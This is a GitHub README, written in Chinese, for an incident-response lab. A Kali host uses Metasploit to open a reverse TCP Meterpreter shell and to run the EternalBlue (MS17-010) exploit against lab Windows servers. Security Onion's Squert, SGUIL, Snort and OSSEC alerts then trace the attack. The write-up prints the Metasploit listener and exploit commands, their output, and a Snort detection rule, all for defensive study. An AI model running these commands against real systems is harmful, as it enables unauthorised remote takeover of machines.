sudippokhrel33513/Incident-Response-and-Monitoring

GitHub: sudippokhrel33513/Incident-Response-and-Monitoring

一个结合Metasploit攻击模拟与Security Onion入侵检测的事件响应实验室项目,用于展示攻击链的生成与安全监控分析的全流程。

Stars: 0 | Forks: 0

[事件响应-README.md](https://github.com/user-attachments/files/28326409/Incident-Response-README.md) # 🚨 事件响应与网络监控实验室 ## 🛠️ 使用的工具与技术 ![Metasploit](https://img.shields.io/badge/Metasploit-2596CD?style=flat-square&logo=metasploit&logoColor=white) ![Security Onion](https://img.shields.io/badge/Security_Onion-2E7D32?style=flat-square&logo=linux&logoColor=white) ![Kali Linux](https://img.shields.io/badge/Kali_Linux-557C94?style=flat-square&logo=kalilinux&logoColor=white) ![VMware](https://img.shields.io/badge/VMware-607078?style=flat-square&logo=vmware&logoColor=white) ![Kibana](https://img.shields.io/badge/Kibana-005571?style=flat-square&logo=kibana&logoColor=white) | 工具 | 用途 | |---|---| | **Metasploit (multi/handler)** | 接收来自 Windows 目标的 reverse shell | | **ms17_010_psexec** | 针对 Windows Server 2016 的 EternalBlue 漏洞利用 | | **Meterpreter** | 后渗透会话管理 | | **SGUIL** | 在 Security Onion 上进行实时 IDS 警报监控 | | **Squert** | 基于 Web 的警报分析和事件分类 | | **Security Onion (OSSEC + Snort)** | 主机和网络入侵检测 | ## 🖥️ 实验室环境 | 机器 | 角色 | IP | |---|---|---| | `F23-spokhrel157855-KALI` | 攻击者 — Kali Linux | `192.168.10.10` | | `S23-SPOKHREL157` | 目标 1 — Windows 2016+ | `172.16.10.10` | | `F23-SPOKHREL157` | 目标 2 — Windows Server 2016 | `172.16.20.10` | | `spokhrel157855-SO` | Security Onion (IDS/SIEM) | localhost | | 路由器, CLIENT, SERVER | 网络基础设施 | — | ## 📌 攻击与检测阶段 ### 阶段 1 — 通过 Metasploit multi/handler 建立 Reverse TCP Shell **目标:** 设置 Metasploit 监听器以接收来自受感染的 Windows 目标的 reverse TCP 连接。 **使用的命令:** ``` use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.10 set lport 4444 exploit ``` **执行过程:** - 第一次漏洞利用尝试**失败** — handler 无法绑定到 `192.168.10.10:4444:-` - Metasploit 回退到 `0.0.0.0:4444`(监听所有接口) - 第二次尝试**成功** — reverse TCP handler 在 `192.168.10.10:4444` 上启动 - Stage 发送:**180,291 字节** 到 `172.16.10.10` - **Meterpreter 会话 1 已开启:** `192.168.10.10:4444 → 172.16.10.10:49759`,时间 2023-11-25 14:46:42 **受感染机器上的 `sysinfo` 输出:** ``` Computer : S23-SPOKHREL157 OS : Windows 2016+ (10.0 Build 14393) Architecture : x64 System Language : en_CA Domain : WORKGROUP Logged On Users : 1 Meterpreter : x86/windows ``` **重要性说明:** Reverse TCP shell 绕过了防火墙,因为连接是由受害机器向外发起的。`sysinfo` 的输出确认了对 `S23-SPOKHREL157`(一台 Windows Server 2016 机器)的完全控制。 ![Reverse TCP Shell - Meterpreter Session](https://raw.githubusercontent.com/sudippokhrel33513/Incident-Response-and-Monitoring/main/lab09/1.png) ### 阶段 2 — Squert 警报分析(Security Onion Web UI) **目标:** 使用 Squert(Security Onion 基于 Web 的警报界面)检测并分析 Metasploit 攻击。 **Squert 仪表板发现(2023-11-25):** | 优先级 | 计数 | % | |---|---|---| | 高 | 1 | 1.6% | | 低 | 49 | 77.8% | | 其他 | 13 | 20.6% | | **总事件** | **63** | — | | **总特征码** | **4** | — | **检测到的关键警报:** **触发的 Snort 规则:** ``` alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET TROJAN Possible Metasploit Payload Common Construct Bind_API (from server)") classtype:trojan-activity; sid:2025644; rev:1; metadata: attack_target Client_and_Server, deployment Perimeter ``` **分类详情:** - `compromised L1`, `attempted access`, `denial of service`, `policy violation` - `reconnaissance`, `malicious`, `no action req'd`, `escalated event` **重要性说明:** Security Onion 的 Squert 正确地将 Metasploit 流量归类为优先级 1(高)的 **TROJAN**。Snort 特征码 `sid:2025644` 专门识别 Metasploit bind API 模式 — 这证明了 IDS 特征码如何捕获已知的攻击框架,即使流量看起来是合法的。 ![Squert Alert Analysis - Metasploit Detected](https://raw.githubusercontent.com/sudippokhrel33513/Incident-Response-and-Monitoring/main/Incident-Response/2.png) ### 阶段 3 — 针对 Windows Server 2016 的 EternalBlue 漏洞利用 (MS17-010) **目标:** 利用 `172.16.20.10` 上的 EternalBlue 漏洞 (CVE-2017-0144) 获取 SYSTEM 级别的访问权限。 **使用的命令:** ``` use exploit/windows/smb/ms17_010_psexec exploit ``` **漏洞利用链输出:** ``` [*] Started reverse TCP handler on 192.168.10.10:4333 [*] 172.16.20.10:445 - Authenticating to 172.16.20.10 as user 'User'... [*] 172.16.20.10:445 - Target OS: Windows Server 2016 Datacenter 14393 [*] 172.16.20.10:445 - Built a write-what-where primitive... [+] 172.16.20.10:445 - Overwrite complete... SYSTEM session obtained! [*] 172.16.20.10:445 - Selecting PowerShell target [*] 172.16.20.10:445 - Executing the payload... [*] Sending stage (206,403 bytes) to 172.16.20.10 [*] Meterpreter session 3 opened (192.168.10.10:4333 → 172.16.20.10:49699) ``` **受感染服务器上的 `sysinfo`:** ``` Computer : F23-SPOKHREL157 OS : Windows Server 2016+ (10.0 Build 14393) Architecture : x64 System Language : en_CA Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows ``` **获取的 Shell:** ``` meterpreter > shell Process 4240 created. Channel 1 created. Microsoft Windows [Version 10.0.14393] C:\Windows\system32> ``` **重要性说明:** EternalBlue (MS17-010) 是有史以来发现的最严重的漏洞之一 — 由 NSA 开发并被 Shadow Brokers 泄露。它曾被用于 2017 年的 **WannaCry** 和 **NotPetya** 勒索软件攻击中。此实验室展示了无需任何用户交互,通过 SMB 端口 445 获取完全的 SYSTEM 访问权限的过程 — 这是一个**零点击远程代码执行**漏洞。 ![EternalBlue MS17-010 Exploit - SYSTEM Access](https://raw.githubusercontent.com/sudippokhrel33513/Incident-Response-and-Monitoring/main/Incident-Response/3.jpg) ### 阶段 4 — SGUIL 实时警报仪表板(Security Onion) **目标:** 在 SGUIL 中监控和分类攻击期间生成的所有实时 IDS 警报。 **捕获的 SGUIL 警报(2023年 11月 17日–25日):** | 日期/时间 | 源 IP | 目标 IP | 目标端口 | 事件消息 | |---|---|---|---|---| | 2023-11-17 21:50:52 | 0.0.0.0 | 0.0.0.0 | — | [OSSEC] Integrity checksum changed | | 2023-11-17 23:18:09 | 0.0.0.0 | 0.0.0.0 | — | [OSSEC] Web server 400 error code | | 2023-11-18 01:24:40 | 0.0.0.0 | 0.0.0.0 | — | [OSSEC] PAM: User login failed | | 2023-11-18 01:24:40 | 0.0.0.0 | 0.0.0.0 | — | [OSSEC] unix_chkpwd: Password check failed | | 2023-11-25 18:12:40 | 192.168.10.10 | 172.16.10.10 | — | GPL ICMP_INFO PING *NIX | | **2023-11-25 19:46:41** | **192.168.10.10** | **172.16.10.10** | **4444** | **ET TROJAN Possible Metasploit Payload Common Construct Bind_API** | | 2023-11-25 21:26:08 | 192.168.10.10 | 172.16.20.10 | 445 | GPL NETBIOS SMB-DS IPC$ share access | | 2023-11-25 21:26:34 | 192.168.10.10 | 172.16.20.10 | 445 | GPL NETBIOS SMB-DS C$ share access | | 2023-11-25 21:26:34 | 192.168.10.10 | 172.16.20.10 | 445 | ET POLICY Powershell Command NonInteractive — Lateral Movement | | 2023-11-25 21:26:34 | 192.168.10.10 | 172.16.20.10 | 445 | ET POLICY Powershell Command With No Profile — Lateral Movement | | 2023-11-25 21:26:34 | 192.168.10.10 | 172.16.20.10 | 445 | ET POLICY Powershell Activity Over SMB — Lateral Movement | | 2023-11-25 21:40:22 | 172.16.20.10 | 192.168.10.10 | 4333 | **ET SCAN Suspicious inbound to mSQL port 4333** | | 2023-11-25 21:44:37 | 172.16.20.10 | 52.142.223.178 | 80 | ET INFO Windows OS Submitting USB Metadata to Microsoft | **在 SGUIL 中可见的攻击时间线:** 1. **OSSEC 警报** — 基于主机的检测:文件完整性更改、登录失败(攻击前侦察) 2. **ICMP PING** — 攻击者 ping 目标以确认其是否存活 3. **Metasploit Bind_API** — 检测到端口 4444 上的 reverse shell 连接 4. **SMB 共享访问** — 通过 IPC$ 和 C$ 共享进行 EternalBlue 横向移动 5. **通过 SMB 执行 PowerShell** — 通过 PowerShell 执行 payload(触发了 3 个独立的特征码) 6. **可疑端口 4333** — 检测到 Meterpreter 会话反向通道 7. **Windows 元数据** — 受感染机器向 Microsoft 发送回传数据 **重要性说明:** SGUIL 展示了 IDS 所看到的完整攻击链 — 从初始 ping 一直到横向移动和 payload 执行。每一行代表一个触发的 Snort 或 OSSEC 规则,构建出一个时间线,分析师将使用它来重构完整的事件。 ![SGUIL Real-Time Alert Dashboard](https://raw.githubusercontent.com/sudippokhrel33513/Incident-Response-and-Monitoring/main/Incident-Response/4.jpg) ## 🔁 完整的攻击与检测链 ``` [1] Metasploit multi/handler → reverse TCP shell → Meterpreter session on 172.16.10.10 ↓ [2] Squert detected it → "ET TROJAN Metasploit Bind_API" → Priority 1 HIGH alert ↓ [3] EternalBlue (MS17-010) → SMB port 445 → SYSTEM shell on 172.16.20.10 ↓ [4] SGUIL logged full attack chain → ICMP → Metasploit → SMB → PowerShell → C2 ``` ## 📚 关键要点 - **Reverse TCP shell** 绕过了防火墙 — 从受害机器到攻击者的出站流量很少被拦截 - **EternalBlue (CVE-2017-0144)** 利用未打补丁的 SMB(端口 445)实现零点击 SYSTEM 访问 - **Security Onion (SGUIL + Squert)** 通过 Snort 和 OSSEC 规则检测到了攻击的每一个阶段 - 通过 SMB 上的 PowerShell 进行的**横向移动**被多个 ET POLICY 特征码标记 - **OSSEC** 检测网络 IDS 看不到的基于主机的事件(文件更改、登录失败) - 仅从 SGUIL 警报就可以重构完整的**事件时间线** — 这对于 IR 报告至关重要 - 用于 Meterpreter C2 通道的**端口 4333/4444** 被 Snort 特征码匹配捕获 ## ⚠️ 免责声明 ## 👨‍💻 作者 **Sudip Pokhrel** | 信息安全分析师 — GRC [![LinkedIn](https://img.shields.io/badge/LinkedIn-Connect-0A66C2?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/in/sudip-pokhrel-3375291b3/) [![GitHub](https://img.shields.io/badge/GitHub-Follow-181717?style=flat-square&logo=github&logoColor=white)](https://github.com/sudippokhrel33513)
标签:DNS 反向解析, Web报告查看器, 安全实验环境, 库, 应急响应, 插件系统, 攻击复现, 网络信息收集, 网络安全, 越狱测试, 隐私保护